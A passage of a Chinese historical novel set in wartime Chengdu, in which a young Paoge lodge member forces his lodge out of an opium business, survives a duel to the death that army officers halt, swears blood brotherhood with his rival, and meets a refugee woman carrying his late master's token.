周立行瞥了一眼那个汽车,根本不接陈三爷的话,反倒是审问起来:
“车哪儿来的?堂口买的?”
陈三爷气得心肝脾肺都在疼,“被你发疯给吓到了,跟茶馆客人借的!你以为堂口很有钱吗?穷得都快揭不开锅了!”
周立行点点头,看向目光有些躲闪的丁十爷,再看向一脸无奈的邢五爷,“正好,你们都来了。他们光耀堂说,我周立行代表不了忠义堂。来吧,今天就一起把股给退了。”
陈三爷恨不得跳起来给周立行两拳,打晕这个混小子,把人拖回堂口再说。
然而,他不敢跳起来,他也知道自己打不赢周立行。
所以,他只能苦口婆心地劝:
“我们进去光耀堂里面说,成不?这大街上,大庭广众之下,是谈事儿的地方吗?”
邢五爷听得咳嗽了起来,挤眉弄眼地让陈三爷赶紧改口,丁十爷脑袋一转,也反应过来,赶紧拉陈三爷的胳膊。
陈三爷满头雾水,他没觉得自己哪里说错,但邢五爷和丁十爷都这么做,他到底哪里没说对?
“我忠义堂的事,要去光耀堂里说……陈三爷,你叛堂了吗?”
此话一出,陈三爷脑袋上的冷汗嗖地冒了出来,他一张口,竟结巴起来:
“别别别乱说……”
53.成都
冯显贵在里面也听不下去了,他也走出了大门,站在了堂口牌匾下。
但他毕竟是舵把子,经历的风雨多,不像丁五爷这种靠枕头人吹起来没多久的人。
“小八爷,您这话严重了。您一去云南,为国修路,走了快两年。那滇西山高路远,怎可能事事都先与你商议呢。”
“我光耀堂历来就做这烟土生意,一直是为范军长做事。范军长也是带兵出川抗日,在上海打了仗回来的。”
“范军长现在被任命为第八十八军军长,这段时间正在川内,自募兵员抗日。我光耀堂虽然开烟馆,但一样捐了军饷,也是抗日的!”
冯显贵几言几语言,便给自己也戴上抗日的帽子,不让周立行用方结义去道德压制他。
周立行平时很少与人争辩,可他并不是不懂如何与人扯皮。
在滇西,他沉默地观看了各地各民族不同文化习俗下的争吵,看过太多纠纷如何平息,自然知道冯显贵的后话。
于是周立行抱拳,“那倒是提前恭送冯舵把子了,你带人跟着范师长一起出川抗日那天,我来光耀堂给你敬香。”
冯显贵腮帮子咬得一抽,他哈哈大笑,“那是当然……”
“既然冯舵把子不久便要出川了,那更该退股了。”周立行死咬不放。
“不然你在战场上遇到方舵把子,难不成还要因此事再闹一次?”
冯显贵的呼吸粗重起来,胸口的火气越来越盛,他看向陈三爷。
陈三爷急的团团转,想劝周立行,周立行刚刚那一句叛堂压得他不敢开口,抬眼一看,冯显贵阴恻恻地瞪着他,陈三爷更是心慌恼火。
丁五爷见气氛僵持,自觉时机已到,立即高声开口:
“既然忠义堂的周八爷,执意要左右咱光耀堂的决定,不如就按规矩办!”
周立行平静地看向丁五爷,丁五爷一脸得逞的狞笑。
“开生死场!”
陈三爷惊得心脏都停了一秒,差点没喘上气,“不可!万万不可……”
开生死场,那得打死一个才算完啊!
要是周行善被打死了,要是方结义日后从战场上回来了,他陈三爷还能活啊?!
邢五爷再也不置身事外了,赶紧踢了车十爷一把,地上前拖周立行:
“行善!小八爷!小祖宗!咱们先回自个儿堂口商议行不行……”
“好,开生死场。”
周立行把棍子往地上一扔,“既然你们光耀堂要如此咄咄逼人,那我忠义堂行八,必须得应承。”
“否则,我把方大爷的脸面往哪里搁。”周立行脱下外衣丢给谷娃子,活动肩膀手臂。
“生死场,现在,此地,立马开。”
“一对一,赤手空拳,打死为止。你们出谁?”
陈三爷这下是真的急得捶足顿胸团团转,邢五爷也抹了一把脸,整个人都不好了。
车十爷不满地嘀咕,“你们一来就跟着小八爷站一条线,就没这回事了……看吧看吧,要是害死了小八爷,看你们啷个给舵把子交差……”
陈三爷气得给了车十爷一锭子,车十爷躲开。
“闭嘴吧你!!!”
邢五爷一把拉着陈三爷,不让他们在人群面前内讧打架,“够了!还嫌不够丢脸吗!我早有安排了!现在就只能听天由命!”
冯显贵没想到丁五会蹦出来说这样的话,更没想到周立行这个愣头青还真的答应,他自然知道当初拿过金章的人是什么水平,寻常高手根本没法打赢。
两堂口开生死场,活着的人说了算。
冯显贵一时间进退两难,正想斥责丁五。丁五凑到冯显贵耳边,小声嘀咕道:
“让争鸣去打!”
“他不是一直都想跟周行善打吗?圆他的梦撒。”
冯显贵眼神阴鸷,斜着看丁五,表情晦暗不明。
丁五毫不畏惧,继续煽风点火,“姐夫,争鸣真的是你儿子吗?当初那女的,被赶回去了才说怀孕……”
“就争鸣是你儿子,他之前瞒着你搞光辉堂,翅膀多硬啊!现在又去读军校,私下还跟这个周行善有来往……”
“今日之事,谁知道,跟争鸣有没有关系呢?”
“有这个周行善在,我们想慢慢吞了忠义堂的打算,必定泡汤……”
“要弄死周行善,得是个跟他有交情的人。就算方结义回来了,也不好下手那种。”
丁五这番话说完,冯显贵笑了。
是的,没有比冯争鸣更合适的人。
反正他冯显贵不止一个老婆,也不止一个儿子。
冯争鸣这个已经开始不听话的野儿子,应该发挥最大的价值。
也恰好此时,一阵急促的马蹄声传来,人群之后,冯争鸣穿着军校制服,一路疾驰到了这里。
冯显贵看着急匆匆赶来的野儿子,根本不等冯争鸣下马,便朗声回到:
“不欺你小八爷,我光耀堂,出冯争鸣,和你打生死场。”
“你们谁生谁死,我光耀堂都不追究!”
正准备下马的冯争鸣双眼一咪。
“什么生死场?”
冯争鸣挺直腰身,未曾下马,他策马绕走到周立行前面,用个马屁股对着光耀堂那边,居高临下地俯视周立行。
周立行逆着光,看不太清楚冯争鸣的表情,他微微叹了一口气,没想到冯显贵那么不要脸,堂口的人不派,竟然把读军校的儿子派来打生死场。
这份心肠,何其歹毒。
“我要替忠义堂退你们光耀堂开的烟妓馆的股,你们光耀堂说,得开生死场。”
周立行平静地解释,“我答应了。”
冯争鸣沉默了半息,突然哈哈大笑起来,在马背上前仰后伏。
“可笑啊可笑!”
“民国禁烟的文件,早就全国发了。可这遍地的烟馆,却总是生意兴隆。”
“我的小八爷,你这是做什么?螳臂当车?”
“今日就算你打赢了生死场,就算忠义堂一家堂口不沾烟馆,又如何?对这世道,有何助益?有何改变?”
“要是你输了,你死了,那更没人再看忠义堂的日后!”
周立行看向冯争鸣,看向他身上的许多人梦寐以求的学员军装,看他骑着的马,也看他身后藏不住身上狠毒的冯显贵和丁五。
“我知道,我救不了所有人。”
“我知道,我看得不长远。”
“可我这人做事,只凭本心。只要我想,那就非做不可。”
“争鸣,你现在已经考上军校,前途远大,根本不必再混堂口。”
“你劝我,那我也劝你。脱离光耀堂,去做你堂堂正正的军人英雄。”
冯争鸣希望周立行服软,不要打生死场。
周立行却希望冯争鸣退出这个不爱惜他的堂口,希望他离开生死场。
冯争鸣的手攥紧了缰绳,他闭目深呼吸了一口,睁眼冷笑,“你放屁,这是我老汉儿的堂口,我退个锤子。”
周立行捏紧了拳头,眼皮微抬,眼神泠冽,“那就打吧。”
冯争鸣翻身下马,回敬一个狞笑,“废话,老子早就想跟你打了!来啊!看谁死!”
丁五心中大喜,今日不管是死哪个,都是大喜一件。
于是丁五立刻招呼人回堂口搬桌椅板凳和关圣像,立马要将这生死场开起来!
*
天色渐晚,凉风缠尘。
周立行和冯争鸣再次站到了对立面。
然而,这次他们争的,不再是拿一枚金章。
他们这一次,赌的是性命。
二人伫立良久,皆未有动作,直到冯显贵狠狠地摔了一个茶杯,周立行才率先动手。
他去了一趟云南,在险山恶水中求生,又跟随各族男人们切磋,学到了更多实用的野招。
冯争鸣到了军校,接受了更多正统国术和擒拿格斗的传承,比之前更添几分猛烈。
二人仿佛又回到了擂台,不死不休地颤抖在一起。
你一拳,我一拳,两人毫不留手,打的烟尘四起,从一开始看得出出手招式,到后来完全成了缠斗。
那不是一场可以供人观赏的决斗,那是两个倔强不服输的人,从骨子里爆发出的争斗欲和胜负欲。
周立行有自己必须赢的理由,冯争鸣也有自己不能输的理由。
他们无法在大庭广众之下,告知对方,可他们似乎又能理解对方。
周立行不能眼睁睁看着忠义堂走错路,他要对得起在外出生入死的大哥。
冯争鸣还不能丢掉他堂口的身份和势力,否则他无法完成自己的学业。
他们本应是挚友,奈何世事无常,他们此刻是生死仇敌。
冯争鸣抓着周立行的头往地上狠磕,头破血流。
周立行勒住冯争鸣的脖子,差点扭断他的颈骨。
冯显贵看得心惊胆战,这两个狼崽子是真心实意地要弄死对方。
他突然有些后悔,这么看来,争鸣这孩子还是很忠心堂口的。
现场没几个高手,只有邢五爷看出了一些端倪。
“哟?这都开始了嗦?是我们来迟了?还是他们整早了哦?”
“怎生这般不懂规矩呢?生死场,是两个堂口私自就能开的吗?”
两道声音传来,一道戏谑,一道凌然,众人抬眼看去,又是两辆汽车到来,各自下来三人,分别穿着不一样的军装。
说话的两人,看军装的形制,都是中校。
“八十八军中校参谋,鄙姓李。”
“二十四军中校参谋,鄙姓林。”
李参谋和林参谋两人客气地握手见礼,然后迈步走向场外的桌椅处。
冯显贵和陈三爷等人已经知趣地站起来,将主座的位置让出来。
光耀堂的手下们也赶紧收茶碗的收茶碗,重新搬椅子。
林参谋和李参谋坐下,冯显贵和陈三爷等人才跟随他们的位置坐下。
冯显贵和丁五等人坐在了李参谋的旁边,而陈三爷等人坐在了林参谋的旁边,泾渭分明。
周立行和冯争鸣已经打到了最后关头,被这意外突然出现的人打断,浑身挂彩的二人双双泄了气。
冯争鸣强撑着要爬起来站着,挣了几下都没有挣起来,只能半蹲半跪着,让自己不那么狼狈。
周立行就没那么讲究了,直接翻身摊平,只管把头朝着那林参谋。
他想起来了,那是在会理的时候,有过一面之缘的参谋!
周立行慢慢地挪动了下头,看向了邢五爷。
邢五爷扭开头,不跟满额头都是血的周立行对视,他心烦。
这两个堂口开生死场,必须公口大爷来参与,或是请更高级的军阀政要派人观战见证。
然而周立行闹得难看,冯显贵有私心,这么一大帮子人似乎都忘了这个规矩一般。
但
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周立行这么一路闹过来,各路势力都被惊动。
说来也巧,范绍增这几日正好就在成都,手下来报这件事,他要不是正在应酬脱不开身,怕是要亲自来看的。
于是,范军长派出了李参谋。
更巧的是,刘文辉这几日也正好到了成都,正和一些不可说的人士秘密会谈。
邢五爷出门之前派出去请帮手的人,恰好遇到了随同刘文辉前来成都的林参谋。
林参谋跟刘文辉一汇报,便也被派了出来。
眼下,已经不是忠义堂和光耀堂的事情了。林参谋和李参谋两人都笑眯眯的,根本不管被当成生死场的大路中央还有一蹲一瘫的两个十八岁少年,两个参谋打起了机锋。
“林参谋这次回成都,可去故地重游过?我记得,当年没换驻防的时候,你还在新津县当过三个月的县长呢!”
李参谋宽眉小眼,方脸塌鼻,肤色麦黄,戴着一副眼镜,斯文和匪气结合,一张口就是含沙射影。
“李参谋好记性啊,六年前的事情了,还记得这么清楚!”
林参谋倒是个标准的美叔,眉似远山,目若寒潭,高鼻窄颌,肤色偏白,说话不急不缓,声润如玉。
“哎,林兄谬赞啦!”李参谋笑得像狐狸。
“那你肯定记得清楚,我和刘军长是怎么离开成都的吧?”林参谋也是微笑着,追问道。
“啊……胜败乃兵家常事嘛!”
李参谋没想到对方不但不回避当年兵败被赶走的丑事,反而问上脸来,一时反而不好回话,只能找补。
“当初,我们刘军长当四川主席那会儿,还给范军长五十万大洋呢,范军长去上海滩游玩数月,这才有了和青帮杜月笙杜老大的鸦片生意……”
林参谋笑眯眯,贴脸开大揭老底。
“林参谋知道得清楚呀……”李参谋脸上的笑容快挂不住了,这里还有那么多外人呢!
“杜老大给范军长装备的那一个营的英式军需,当初我们刘军长还羡慕过呢。”
林参谋话题一转。
“啊,哈哈……”李参谋预感不妙。
“可惜在追剿红军的时候,莫名其妙的被抢光了。”林参谋还颇为可惜地拍了一下手。
“哈,哈哈……”
李参谋脑门上的汗都快留下来了,生怕对方来一句你们是怎么被抢的?
林参谋见火候差不多了,收回话题。
“近日里,我听闻范军长向募征的兄弟们说,过去打内战,都是害老百姓。这回抵抗日本侵略,就是倾家荡产,拼命也要同你们在一起,把日本人赶跑。”
李参谋正色起来,“的确如此。国难当头,匹夫有责,我们军长不是拎不清的人。他或失小节,却有大义。”
林参谋指着生死场里的两个少年,“你看他们,一个是军校的学生,一个是咱川军将士的拜弟。”
“他们打的,是不是内战?”
李参谋一拍大腿,配合得当,“当真是呀!”
“现在是打内战的时候吗?”林参谋的表情痛心疾首。
“绝不是!”李参谋的表情悔恨不已。
林参谋看向冯显贵,军帽下的英俊面容看似温和,却饱含压力:
“现在是打生死场的时候吗?”
冯显贵还能说什么?
他只能点着头,“惭愧惭愧,是我们考虑不周。”
为表公平,李参谋也问陈三爷,“现在是什么时候?”
陈三爷心道这也不是我要打生死场啊!你问我干啥!你问场里的那个祖宗啊!
然而陈三爷只能擦擦汗,看向周立行,“小八爷,问你呢……”
周立行慢吞吞的爬起来,张口就是一句冯显贵想掐死他的话:
“现在是忠义堂退股烟妓馆的时候。”
李参谋:“……”
这是个什么一根筋?
林参谋咳嗽一声,他伸手向周立行示意,“过来。”
周立行腿上有伤,走路一瘸一拐,他沉默地走上前。
林参谋上下打量了他一阵,伸手拍拍他的胳膊,“那么恨大烟?”
周立行嘴角破损,舌头也咬破了,说话不利索,只能点头说一个字,“恨。”
林参谋也不再细问,他点点头,指向李参谋,“你们忠义堂入的股,他要了。”
李参谋:“?!”
不是,为什么不是你要?
“我也恨大烟。”林参谋瞥了李参谋一眼,一脸嫌弃,“你不要?你不要,我也不要,那冯舵把子,你说咋办?”
周立行这下不管嘴巴舌头痛不痛了,他极快地接话,“冯舵把子说他要跟范军长出……”
“出两倍的军饷支援!”冯显贵接话更快!
李参谋瞪大眼,这是怎么回事?
“退股!”冯显贵昂了昂头,努力把场面给圆满了,“今日既有咱八十八军的代表,更有二十四军的贵人,我光耀堂当真是蓬荜生辉,光耀满门!”
“二位参谋的意见,以及二位军长的面子,我光耀堂必须听进去,必须给到位。”
“各位放心,我双倍退股金,和忠义堂接触合约。”
半蹲半坐的冯争鸣慢慢站了起来,他半张脸上的血干了,面无表情。
周立行见他嘴唇微动,却没有听到冯争鸣的声音。
他仔细看着,读出了唇语。
勇于私斗,怯于公战,无能懦夫。
54.成都
忠义堂和光耀堂开的生死场,在八十八军和二十四军都派出代表来调停后,自然是平息了。
这一场好戏,围观之人看得过瘾,两个堂口也各得了各的面子。
周立行如愿以偿地退了股,陈三爷等人用借来的汽车把他送回了家。
家门一开,陈三爷眼前又是一黑。
那大烟馆里的女招待们都眼巴巴地等着呢,这中间还有一个穿着护士服装的女人,旁边除了憨头憨脑的石娃子,还有个跟周立行长得六分相似的小孩子。
谷娃子认出来那是罗瑞鹤,赶紧把周立行背去放在床上。
罗瑞鹤根本没同陈三爷等人打招呼,她戴上听诊器便跟着谷娃子进去了。
陈三爷等人这才想起来他们没安排医生,又才招呼石娃子去寻堂口的中医来给看看。
周立行跟冯争鸣并不是假打,他们两人除了没有真正意义地痛下杀手外,打得那是格外真情实意,受得伤那是扎扎实实的。
周立行很明显地觉得,自己除了头破血流外,起码还断了两根肋骨!
他此刻又累又倦,不想跟陈三爷等人说话,挥手让他们回去。
陈三爷等人也是神形皆倦,邢五爷见周立行那样,便劝着陈三爷等人一起先回去了。
罗瑞鹤学的是西医护理,她为周立行处理了身上的伤口,量了血压,等堂口的中医来把脉之后,还记下了药方和饮食禁忌。
阿涅也在一旁急得团团转,忙着给罗瑞鹤打下手。他猜周立行是出去干架了,后悔自己没有跟上去帮忙。
等中医走后,谷娃子去药堂买中药,她才向周立行说话。
“小八爷,是争鸣托人叫我来等的。”罗瑞鹤并不知道发生了什么事。
周立行点点头,“我想也是。他那边也受了伤,你要不要去看看?”
“他现在是在家,还是在学校?”
罗瑞鹤谨慎地问道。
“送回学校去了。”
周立行走的时候,那八十八军的李参谋也问了冯争鸣,冯争鸣说学校里的医务室更好,他要回学校,于是李参谋让人把冯争鸣带上了他的车。
“那边跟安全,我就不去了。我这段时间,过来照顾您。顺便,我也给你救回来的这些姐妹治治病,有几个再不治,就活不久了。”
罗瑞鹤想起那几个已经开始脱发的姐妹,心中隐痛。
“小八爷,她们身体未好之前,你可别碰她们。”罗瑞鹤认真地嘱咐。
周立行一口气差点被呛住,“瑞鹤姐,你乱说什么!我是怕她们无家可归,暂时安置在这。”
罗瑞鹤见周立行没有大碍,放下心来,这才开起了玩笑,“我还以为你要学方大爷,收留一屋子的姐姐妹妹呢!要是这样,指不定我就主动搬过来了!”
嫁过人的大姐姐,这战斗力非同凡响,周立行根本招架不住。
“姐,求你了,别逗我。”周立行就差没爬起来给罗瑞鹤作揖,“之后的出路,我已经给她们想好了的!”
“什么路?”
罗瑞鹤心中清楚,这些被迫染上鸦片烟瘾、被迫染上性/病的姐妹们,很难走正道。她们的家人接受不了,她们自己也接受不了,要么自杀,要么就是沦落风尘成为玩物,早晚都是一个病死的结局。
“喜雀姐在外地要投资办纺织厂。”
周立行信任罗瑞鹤,他将自己的想法全盘托出,“我出钱给她们治病,病好了,只要她们愿意,我送她们去外地纺织厂做工。她们可以改名换姓,用一份手艺养活自己,重新生活。”
罗瑞鹤收拾药瓶托盘的手顿住,隔了一会儿,她声音发瓮地回答,“好,我帮你。”
说完,罗瑞鹤竟是抹着眼泪出去了。
周立行不知道罗瑞鹤为什么会哭,困倦压倒了身上的痛楚,他沉沉地睡了过去。
没过几日,大街上奔走相告了一个消息——日本人轰炸了重庆市区,死伤惨重。
周立行还躺在床上养伤,听到这个消息的时候,脑海中嗡鸣了几声,竟一时发生了幻听。
他想到了青竹叶,想到了知书知礼,想到了那些王喜雀记挂着的成家生子的姐姐们。
世事无常,乱世艰难,他仿佛看到无边血雨洒落,让人窒息……
一晃半个月,周立行都没有出过门。
在谷娃子、石娃子、阿涅和罗瑞鹤的轮番照顾下,周立行吃得好睡得香,身上的伤好得七七八八。
但因断了两条肋骨要养,短时间内动不得武,周立行便门也不出,在家看书练字,修身养性。
刘愿平听说周立行大闹光辉堂开生死场的事情后,特地来看望了一圈,后面又托人送来许多药物和书籍,以免他在家休养无聊。
而忠义堂那边,听说内部纷扰了一段时间,不过最终也没有闹出个什么明堂。毕竟蛮的怕横的,横的怕不要命的。
而小八爷周立行,已经用实际行动证明,他既蛮且横,还不要命!
上有方结义临走之际的命令,下有周立行根本不给任何爷脸面的执行,大伙儿以前没这摊大烟生意也一样挣钱,所以,这艘即将偏航的大船,便回正了方向舵。
*
这一天,陈三爷派人来请周立行,却扑了个空。
恰好今日周立行带着一行人已经出城去祭拜黑老鸹了。
周立行一大早起床收拾好后,石娃子和谷娃子已经买回了香烛纸钱、卤猪头肉、红油凉拌鸡,阿涅负责用小陶罐从家里打了半斤白酒,周立行带着小弟们坐着滑竿儿,去城外给黑老鸹上坟。
成都平原的田野正是稻黄时刻,秋日艳阳照得人心头暖暖,难得一见的蓝天白云让人心旷神怡。
周立行在坟前点燃红烛青香,絮絮叨叨地讲了很多。
一些在其他人面前无法述说的担忧,他只能在黑老鸹坟前才能畅快地讲。
“修个路都能死那么多人,战场上子弹炮弹不长眼……我好担心方大哥……”
“我还是喜欢王喜雀,黑老鸹,我要死的时候最害怕的事情,是喜雀姐以后过不好……”
“我长大了很多,但还是很多事不知道该怎么做。喜雀姐还是不愿意跟我走……”
“方大哥说,时过境迁,人心易变,我以前不懂,现在好像能看懂了。”
“大家都在变,我不知道我能不能替大哥看好堂口,我不知道堂口以后会是什么样子,师父,我不知道……”
“我只能走一步看一步,也许没有什么选择是对的……我只能尽量让每一个选择,都无愧于心……”
嘀嘀咕咕完,周立行便把心底的那些担忧、忐忑、犹豫全都丢纸钱里烧了,那半斤白酒,祭撒在了泥土。做完这一切,周立行正准备分尸带来的卤猪头肉和红油凉拌鸡,一回头,看见个穿军校制服的人默不吭声地站在不远处,不知道站了多久。
周立行叹了口气,主动招呼冯争鸣。
“争鸣,来给黑老鸹上柱香吧。”
冯争鸣身上的怨气淡了些,他高昂着头走过来,取下头上的军帽递给周立行,然后恭恭敬敬地去给黑老鸹上了香。
“祭品,我们准备分食。若是不介意,也邀请你一起吃。”
周立行赤手撕了一块猪耳朵,递给冯争鸣,并且做好了冯争鸣嫌弃发火的准备。
冯争鸣垂着眼皮看那油啧啧的猪耳朵,再抬眼皮看周立行,眼珠滑动,看向了阿涅。
“他是谁?”冯争鸣戴着白手套的手,接过了猪耳朵,没吃,就那么拿着。
周立行敏锐地感到不对劲,但他一向搞不懂冯争鸣的思路,只能诚恳作答,“我在滇西结拜的兄弟,我被泥石流埋在地下,是他把我挖出来的。”
“正式结拜?”
“对。”
“歃血,饮酒,换庚帖,拜天地?”
“……对。”
冯争鸣脸上表情抽搐了下,呵了一声,怨气横生,“那我呢?”
“……”周立行不知道自己是不是感觉错了,他怎么觉得冯争鸣又开始在莫名其妙的地方争强好胜?
“你说他救了你的命,行,我认。”
冯争鸣说得有些咬牙切齿,“好吧,那就三个人吧,正好三结义。”
“……?
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”周立行腔都不敢开,只能用表情表示疑惑!
你到底怎么了?你到底想干嘛?
冯争鸣怒从心中起,恶向胆边生,一把揪住周立行的衣领,“装什么傻!结拜!我们三个一起结拜行了吧!”
阿涅默默地往石娃子身后站,他觉得这个姓冯的多少是有点毛病。
周立行还来不及说话,冯争鸣已经发飙了:
“我们才是最对等的兄弟!我们才是袍哥精神的传承者!你跟我打金章,我读军校,你修运输道,我们都有改变这个世道的理想!我甚至陪你打生死场!”
“难道你不应该跟我结拜吗?!难道我冯争鸣没资格当你生死与共的兄弟吗?!”
周立行惊呆了,他怎么也没想到,冯争鸣竟然在这个方面……有这么深的执念和自卑?
“……好。”周立行心中有一个莫名的酸涩和难受,他抓住冯争鸣使劲摇晃他肩膀的双手,给出了回答。
他其实是懂冯争鸣的,懂他的野心和追求,懂他的不甘和愤怒。
打生死场的时候,他和冯争鸣并没有提前通过气。他看到冯争鸣那一刻,就知道冯争鸣在冯家的日子过得艰难,处处有人明伤暗害,时刻想要至他于死地。
正是因为懂,所以他才容忍冯争鸣各种莫名其妙的暴躁,迁就他阴晴不定的脾性。
而他也知道,冯争鸣也只需一眼,就能懂他必须开生死场的原因。方结义留下来的堂口,他周立行就算拿命去拽,也要拽住那些属于方结义的原则和底线。
“但是争鸣,有些事我得提前说。”
冯争鸣咆哮了一通,心中郁气稍缓,见周立行答应,总算是气顺了一些,这才放开他。
“螳臂当车的事情,以后我还会干。”周立行摊开手,迎向旷野吹拂的微风。
“我很渺小,我不是什么栋梁之材,我也许只是这漫山遍野里随处生长的野草,我没有什么明确的雄心壮志、远大理想。”
“我想活,但也不怕死,我遇到什么想做的事情,就会去做,哪怕不会对这世道有任何改变。”
“我和你走的路不一样。”
“你跟我结拜,我们可以当亲兄弟,但日后,你不能用你的想法,来阻我的道路。同样,我也不会用我的意见,去改你的奔赴。”
周立行讲了这么一通,冯争鸣一句一句地听着,神色十分认真,然后他笃定地说,“好。你答应结拜,我可以。”
阿涅整个人都不好,他不认识这个冯争鸣,根本不想和他结拜。
哪知道冯争鸣根本不管他乐意不乐意,只问阿涅,是当拜兄弟,还是当干儿子?
冯争鸣竟然想收跟周立行长得有几分相似的十二岁的阿涅当干儿子!
周立行连忙阻止,他们的辈分已经够乱了!
按方结义和冯显贵的辈分,周立行应该算冯争鸣的叔叔辈!阿涅是周立行的拜弟,按理也应算冯争鸣的叔叔!
眼下冯争鸣靠自己的发疯,硬生生把自己搞成了周立行平辈就算了,咋么还能把阿涅给搞低呢!
于是,最后还是只有周立行和冯争鸣两个人,做了个由心的仪式。
他们就这样,在黑老鸹的墓前,重新端上了酒杯,割破手指,滴入血液混合,再分饮血酒,结拜为兄弟。
周立行就这么多了个兄弟,并且算了出身月份,他竟然还比冯争鸣小了半个月,成了弟弟!
“回头我让人给你送庚帖来。”冯争鸣走的时候心满意足,还嘱咐周立行也要写好庚帖。
仪式他就不挑剔了,庚帖必须换好!他是当哥的,必须把这个定巴适!
周立行离开的时候,一阵大风吹得黑老鸹坟头的荻草嘎嘎乱摇,仿佛黑老鸹的笑声。
周立行无奈地回头看了一眼,牵着同样气鼓鼓的阿涅回去了。
刚一到家,周立行便见守在门口的堂口送信幺哥,那幺哥见着周立行,先行递上一张宝片。
周立行接来一看,瞳孔一缩,这竟是黑老鸹的亲笔宝片。
“小八爷,三爷说堂口一名叫紫苏的女人送来这个,还请你去堂口相商。”
55.成都
福祸相依,忠义堂因周立行闹的那么一出,本应算是丢脸的事,却又因事件解决得颇为圆满,倒是在成都又出了一番名。
这大烟的事情,明面上国民政府是禁止的,但实际上他们的禁烟只是流于形式,甚至在某些势力手里,可以说是只是把禁烟的文件当令箭,用来打掉那些散烟,再把整个制作销售途径集中到他们自己手下那里,用来谋取巨大利益。
谁不知道毒品害人?可这乱世里,谁又不想要真金白银的利益?
忠义堂只是入个股,还没有去趟这浑水,内部的刑纲便闹出这么大风波,这也足以让有心人知道,方舵把子带出来的人,值得信任。
吸大烟的人自然会去烟馆,而那些憎恶大烟的、被大烟搞得家破人亡的、又远见有文化的人,自然会称赞忠义堂。
所以忠义堂茶馆的人愈加多,名下的商店、旅馆和各类铺子生意也是愈发的好。
这大半个月,周立行没有去过堂口,陈三爷忙着处理堂口内部的事情,也没有再去看过周立行。
邢五爷、姜九爷、车十爷、唐浩子等人倒是陆陆续续地去看望过,不过周立行不太想跟他们说话,大家也看得出来周立行心里对他们有气,各个都讪讪然的,不好意思多去打扰。
周立行的怒火在生死场那里消散了,对堂口其他人说大多的气也不至于,但他自己也没有想好,接下来该怎么做。
方结义的堂口,不是那种二三十个人的小堂,这是一个有着诸多商铺营生、养着诸多出川战士家属的庞然大物。
在周立行看来,忠义堂堪比他见过的大型汽运公司或水运公司,对内对外关窍极多,不是靠个人勇武或个人意气就能摆平的。
他出其不意,闹出这么大的事情,勉强让忠义堂这艘大船调转了方向。
可他一个人,拉不住这么大的一艘船。
大家就这么尴尬地僵持着,等待一个名正言顺的事情当台阶。
而转机就在此时出现。
周立行让石娃子带阿涅先回家,他和谷娃子一起去堂口。
陈三爷毕竟是个圆滑老道的人,这回见了周立行,就像是忘记是大半个月前的事儿一般,好似周立行才从云南回来,他颇为亲热地出来迎接周立行。
“行善啊,身体可好些了?本不应打扰你修养的,可实在是事出突然,还是得请你来看一看哈。”
陈三爷引着周立行往堂口里走,话说的十分和善。
周立行惯常在堂口里不做任何表情,他觉得这样显得沉稳一点。此时他也是不动声色地点头,跟上了陈三爷的步伐。
走进去还需一会儿,陈三爷心中有些惴惴地,他面上笑着,眼神却仔细地观察周立行。
只有他自己知道,这段时间他晚上根本没睡过一个安稳觉。
因为他回头一想,周立行跟着黑老鸹来没多久,就先弄死一个日本人,后来又悄无声息地跟冯争鸣貌似干掉了光辉堂的舵把子,后面出去巡分堂,肯定手里是见血的,这去修路大难不死回来,竟毫不畏惧又去开生死场……以前他是怎么个眼盲心瞎的,会觉得周立行脾气好?
只能怪平日里,周立行看起来实在是太平静了。俗话说物以类聚人以群分,能跟那个跋扈炮仗冯争鸣打交道的,怎么可能是平静的人……
比如此刻周立行看起来行动自然,气息平稳,谁知道他会不会突然翻脸不认黄!
陈三爷自己脑海中演绎着周立行红黑不认拿着棍子要打他的场景,越想越愁眉苦脸。
周立行不知道陈三爷在想什么,他进入房间,看到客座上坐着的,是一个蓬头垢面、满身脏污、形销骨立的女乞丐,她只敢坐一点点椅子边缘,坐得局促且不安。
和他印象中,川江客船上那姿容秀美、敢半夜求助的富商姨太太,判若两人。
周立行仿佛回到了当初那个晚上,在一艘风雨飘摇的夜船上,他亲眼看着黑老鸹将一张红纸宝片,交给这个自称紫苏的女人。
现在这个女人仿佛只剩下一口气撑着,她那浑身是伤痕的病体,已经是强弩之末。
周立行脑袋里还在嗡鸣,他从衣兜里拿出一张略显破旧的红色硬纸,轻轻展开。
黑色的墨水字已经被多次晕染过,好些地方的字迹都看不清,唯独黑老鸹三个字,丝毫未损,像是冥冥之中的天意。
否则,紫苏这张宝片,堂口未必未认。
“紫苏姐,你有什么委托?”
周立行握紧宝片,就像是握住了黑老鸹的遗愿。
他记得黑老鸹说过,若是对方有这个命,之后便能凭这个宝片打开一线生机;若是没有,便是命该如此。
紫苏能活着寻到这里来,便是有了一线机缘。
周立行一开口,紫苏便跪了下去,“小兄弟,是你,当日船上你也在,我认得……”
“紫苏姐,坐吧,喝口热茶,我们慢慢聊。谷娃子,你去外面买点稀粥回来。”周立行赶紧扶起紫苏,他丝毫未嫌弃对方的脏污,毕竟他刚从滇缅公路回昆明的时候,一样潦草得面目全非。
谷娃子应声而去,紫苏被周立行平和的态度安抚,这才小心翼翼地端起茶杯,吹拂了好久,才慢慢地喝了一口。
“几年未见,紫苏姐现在什么情况?”周立行没有再追问委托是什么,先问一问对方的现状。
陈三爷见状,也安静地喝起了茶,听紫苏讲了起来。邢五爷闻讯而来,进门坐在了陈三爷旁边。
“好多次……我都差点回不来了……”紫苏泪噙眼眶,缓缓道来。
当年她跟着那做鸦片生意的富商去了上海,十里洋场、纸醉金迷的场面何等潇洒,那富商把她当交际花送来送去,辗转之间,受尽侮辱。
富商并不经常在上海,他还会上一上北平,下一下香港。她被留在上海,举目无亲,出逃无门。
她一直等待着机会,等啊等,最终等来的不是机会,是死里逃生的灾祸。
日本人的子弹击穿四行仓库的墙壁,军人们和民众们的尸体堆满街头。她在惊慌中逃难,幸亏时刻做着准备,平日里对家中佣人也和善,大家相互帮助,竟然一路逃出了上海。
他们坐上了船,先是到了南京。其他人留了下来,她记挂着四川这边的孩子,又想办法从南京往武汉走。
这一路艰险磨难,她没有仔细讲述,但她感觉就像是阎王追着她在走一般,她到了哪里,膏药旗的飞机便炸到了哪里。
一路都是爆炸,毁灭,死亡……
她一直在逃亡的路上,听闻南京几十万同胞被害,兽兵恶行如地狱现世;她听闻花园口决堤,黄泛区中上百万人失去家园,民不聊生;她见过了许多恶行,也看到了许多善举,她艰难坎坷,散尽钱财,忍受许多屈辱,终究是走到了这里。
周立行沉默地听紫苏讲完逃亡经过,谷娃子已经买回稀粥。
